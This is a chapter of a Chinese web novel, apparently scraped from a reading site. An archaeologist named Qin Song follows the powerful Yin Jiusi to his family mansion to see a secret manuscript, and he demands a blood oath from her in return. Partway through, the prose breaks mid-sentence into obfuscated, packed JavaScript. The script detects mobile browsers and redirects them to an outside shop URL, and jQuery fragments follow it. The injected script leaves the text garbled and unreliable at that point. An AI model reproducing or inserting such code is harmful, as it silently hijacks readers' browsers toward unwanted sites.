秦宜差点以为姐姐在跟自己开玩笑。
她“啊”了一声,微微张着嘴,露出一个有点摸不着头脑,茫然的笑容。
“姐,你怎么了?是想考考我吗?姐夫名字是殷九斯啊。”
屋外的雨下得更大了,狂风大作,吹得阳台的玻璃窗呼呼作响,风刮过玻璃发出刺耳的声音,让人心生不安与烦躁。
秦宜走到阳台处查看玻璃窗的情况,“老房子就是这样,窗子不太严实,姐,你休息得怎么样了?待会儿我们一起回新家,别住这里了。”
直到她把所有的窗子都检查了一遍,也没有得到姐姐的回复。
秦宜有些疑惑地转身去看姐姐,却见到身子本就单薄的姐姐,此时站在屋子中央,双手垂落身侧,却是紧紧攥着拳头的模样,浑身抑制不住地微微发着抖,面色苍白,一双漂亮的眼睛,此时正无神地怔楞地望着地板,不知道在想什么。
秦宜慌张地走了过去,伸手去摸姐姐的额头,试探温度。
“姐,你怎么了?是不是生病了?哎呀,我赶紧给爸妈打电话,他们去找停车位了,怎么还没有上来!”
秦宜身前还绑着宝宝的背巾,让她行动很不方便,但她还是努力地把秦颂拉到沙发上坐着,然后拿出手机给爸妈打电话。
“喂,妈妈,你们上来了吗?姐姐现在状态很差,好像生病了。对,你们赶紧上来,我们带她去医院……”
坐在沙发上的秦颂,表情不变,仍然是一副出神怔楞的模样。耳边妹妹的声音就像是被风吹散一样,渐渐地,她什么都听不见了。
眼前浮现的,是两年前的一幕幕。
团队里的所有人都知道,秦颂想参加《天问书》的破译工作。
但是所有人也都知道,她不能参加,不被允许参加。
那段时间里,秦颂只能参与常规的记录工作,写写探方日记,管理一些文字与数据。
这令她感到很憋屈。
后来她再次偷偷上山,去看临时工作室,却发现那间小屋子,已经人去楼空了。
他们转移阵地了。
不知道是不是因为发现了她。
这更让秦颂懊恼不已。
深山中春夏之交多雨,绵密的细雨下个不停,空气中又潮湿又闷热。
这一天是村寨里的节日,叫做三月节,村民们纷纷围在村子中央的广场上,举办各种活动,好不热闹。
任教授也给大家放了一天假,所有同事都去三月节上游玩了,只有秦颂独自留在办公室处理新一批数据,不知不觉就忙到了傍晚六点多。
天色渐渐暗了下来,她抱着刚处理好的文件,从楼里走出来的时候,便看见远处村子中心,正燃起篝火,青年男女们手牵着手,围着篝火跳舞,欢声笑语,热闹极了。
秦颂情不自禁地被这样快乐的氛围影响着,脚步往那边走去。
却在经过另一处空地时,又看到了那辆熟悉的黑色劳斯莱斯。
殷九斯的车。
秦颂假装没有看见,把头扭过一边,脚步匆忙,想要赶紧绕过这片空地,去往热闹的地方。
但走到一个拐角处时,冷不丁耳边响起一道声音,让她浑身一个激灵。
“秦颂。”
她猛然回头,看到殷九斯正在自己身后不远处,闲散地站着,指尖松松地夹着一支烟,还抬手凑到唇边吸了一口。
薄薄的烟雾之中,他那双神色不明的眼睛,定定地钉在秦颂身上。
“走那么急是要去哪?”
他问道。
秦颂抱着怀里的资料,回望他的眼神,“去村子里参加活动,挺热闹的,殷先生不去吗?”
闻言,殷九斯露出一个笑,但那笑容里的含义,却让秦颂有点看不懂。
似乎带了一点嘲讽,以及一点冷意。
“你知道那是什么活动吗?”
秦颂不明所以地摇了摇头。
“三月节,是他们青年男女,求偶的节日。你那么着急去参加,是也想求偶了?”
殷九斯话里轻蔑的意味,让秦颂有些意外,有些尴尬,更多地是一股无名火。
于是她冷冷地回了一句,“我求不求,跟殷先生都没有关系吧。”
说罢,她抬起脚便想离开,不再过多理会殷九斯。
但是那人却不肯放她走,长腿一迈,挡在了她的身前。
一股清冽的木质清香迎面而来。
同时又夹杂着几丝说不清道不明的怪异腥甜味。
这是什么奇怪的香水味道啊。
秦颂在心里嘀咕着,但面上不显。
殷九斯很高,似乎有一米九,身高一米七的秦颂站在他面前,还得抬起头,才能看到他的脸。
夕阳只剩最后一缕光线,橘色的霞光暗了下来,在半明半暗的天色之下,秦颂只能看到,面前男人的眸子,似乎亮得出奇。
“你要做什么?”
话音刚落,面前的男人动作极快,一下子就捏住了秦颂的脸。
秦颂心中大惊,刚要说话,男人就出声了。
“当然跟我有关系。”
是在回复她前面说的那句话。
“因为,我不允许。”
被捏住脸的秦颂,说话很不方便,但她还是冷着语气,不屑地看着殷九斯。
“殷先生,你不是我的上司,也不是我的老板。我的私事,你无权干涉。”
殷家势力的确很庞大,但这并不代表着,他们的考古工作,全都仰仗着殷家的安排。
殷九斯别太把自己当回事了!
闻言,殷九斯却并不生气,反而又凑近了她几分,湿热的气息扑在秦颂脸上,让她很不舒服,挣扎了几下,却逃脱不开殷九斯的力气。
这个男人的力气,出奇的大!
“你不是想参加《天问书》的破译吗?我可以让你参加。”
此话一出,秦颂不挣扎了,她毫不闪躲地与对方的眼睛直视。
“我需要付出的代价是什么?”
殷九斯脸上的笑意加深了几分,但那双眸子依旧是冷冷的,笑意不达深处。
“你不需要付出任何代价。”
“你只需要,把你的血,跟我的血,交融在一起,并且对我说,你愿意,就可以了。”
“神经病!”秦颂怒骂了一声,然后再次挣扎,想要摆脱殷九斯的控制,却还是无果。
“你到底想要干嘛!”秦颂怒视着他。
“我说了。”殷九斯的语气冰冷,“你只要照我说的去做,你就可以参加《天问书》的破译。”
“不止如此,你不是想研究更多的越朝历史吗?我能满足你的所有研究愿望,甚至你们查不到,查不出来的,我都能告诉你。”
秦颂惊疑不定地望着眼前的男人,难道殷家有什么秘藏的历史资料?又或者
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242808|197812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殷九斯只是在胡言乱语。
“我凭什么……”秦颂的话还没说完,又再次被殷九斯打断。
“你凭什么相信我,对吧?”
“就凭,我有《天问书》的完整版本。”
面前的男人笑意淡淡,但在秦颂眼里看来,这无异于是魔鬼的笑容。
在引诱她,促使她堕下深渊。
“你不是已经偷看到出土的石刻版本了吗?你不想知道,后面的内容是怎么样的吗?”
紧接着,殷九斯又说出一个令秦颂震撼的消息。
“你只看到了人神通婚的内容吧,要是我告诉你,出土的版本并不完整,是和夷人故意隐瞒的呢?”
秦颂的大脑快速飞转着,几秒钟之后,她又想到了一件事情。
“国内关于和夷族的研究很少,甚至全世界,都没有几个研究者,你说的这些,也无凭无据,如果你是在哪里,得到过所有的历史资料,自己研究出的这番理论,那真的是太可笑了。”
“我一个字也不会相信的。”
“那你想亲眼看看吗?”
“什么?”
“《天文书》。”
殷九斯的话,对于秦颂来说,无异是一个巨大的诱惑,她无法抵挡。
在欲望的驱使之下,秦颂跟着他上了那辆豪车,司机是个沉默的青年,一路开着车,沿着漆黑的山道,驶向前方。
秦颂知道这样很危险,对方是神秘莫测的大人物,他想私底下对自己做出什么举动,自己毫无招架之力。
但秦颂就是在赌,赌殷九斯真的愿意带她去看真正的《天问书》,赌自己的运气,也许她真的可以,亲眼看到,摸到,《天问书》。
车子不知行驶了多久,一直开进了一座古朴庄严的山间旧别墅里。
“这是哪里?”
秦颂下了车,在车灯的照射下,面前的建筑物,透露出几分恐怖感。
“殷家老宅。”
殷九斯也下了车,随后走在前面,秦颂赶紧小跑着跟上。
她的右手放在口袋里,紧紧握着手机,要是遇到什么突发情况,她就会立马按下紧急联络人的号码。
别墅里只亮着几盏昏黄的壁灯,秦颂要紧紧跟在殷九斯的身后,不要就会碰到墙壁或者是家具。
“这里只有你一个人住着吗?”
听到秦颂的问题,殷九斯脸上露出一个令她看不懂的表情。
“不,我们家族的人都住在这里。”
他的回答让秦颂心里不安的预感扩大了。
这话是什么意思?
但还来不及细想,殷九斯已经停下了脚步,他回头看秦颂。
“这里面,便放着《天问书》。”
秦颂看着面前这扇古铜色的厚重大门,心中疑惑浓重。
难道留存于世的《天问书》不止一个版本?其中一份真的在殷家?
“你确定要看吗?”
殷九斯再次发问。
秦颂肯定地点了点头,来都来了,是真是假,她都要进去看看!
但殷九斯的下一句话,又令她犹豫了起来。
“那你必须得答应我之前说的话。”
“把你的血,跟我的血,交融在一起,并且对我说,你愿意,就可以了。”
什么?这难道是什么仪式吗?
还是,殷九斯想要跟秦颂达成什么不可告人的契约?